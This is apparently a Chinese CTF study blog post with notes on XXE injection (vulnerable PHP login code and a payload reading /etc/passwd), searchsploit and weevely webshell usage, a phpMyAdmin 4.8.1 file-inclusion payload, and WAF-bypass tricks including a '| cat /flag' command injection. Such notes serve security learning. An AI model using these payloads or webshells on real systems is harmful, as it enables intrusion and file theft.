开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第19天,点击查看活动详情
0x9、xxe外部实体攻击
详见浅谈XML实体注入漏洞 - FreeBuf网络安全行业门户
例题 [NCTF2019]Fake XML cookbook
doLogin.php源代码
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>
[NCTF2019]True XML cookbook
- 这里主要还是学习/proc/net/arp和/etc/hosts那个文件夹。用到了打靶机的知识,去爆破内网。
0x10、JS相关
0x11、CMS
一、searchsploit 寻找cms exp
3.使用“-t”选项
默认情况下,searchsploit将检查该漏洞利用的标题以及该路径。根据搜索条件,这可能会导致误报(特别是在搜索与平台和版本号匹配的术语时),使用“-t”选项去掉多余数据。例如searchsploit -t oracle windows显示7行数据而searchsploitoracle windows |wc –l显示90行数据。
searchsploit -t thinkphp
searchsploit -p 46510
二、weevly 生成php一句话
1.生成带密码的php文件
weevely generate
2.将PHP文件放在目标网站后,连接php文件
weevely
三、常见cms
一、phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)
详见:phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613) - 简书 (jianshu.com)
phpmyadmin/index.php?target=db_datadict.php?/../../../../../flag
后面又将$page参数用urlencode解码再进行以?分割取出前面的值做判断。那么传入target=db_sql.php%253f/../../test.txt
txt内容为//%253f是?号的二此url编码(前端提交数据包到后端时会解码一次,所以这里二次编码)urlcode将$page解码后是db_sql.php?/../../test.php
再以?分割取出来前面的字符串为index.php,$whitelist中有index.php所以会进入最后一个if区间return true
0x12 过waf姿势
一、过waf垃圾参数脚本:
import string,random
plaintext = string.ascii_letters
data = ""
for item in range(1000):
txt = "".join(random.sample(plaintext,4)) + "=1"
# data = data + txt + ";"
data = data + txt + "&"
print(data)
二、过waf大数据包:
filename=s3333333333333333233333333333333s3333333333333333233333333333333s3333333333333333233333333333333s3333333333333333233333333333333s3333333333333333233333333333333s3333333333333333233333333333333s3333333333333333233333333333333s3333333333333333233333333333333
&content=| cat /flag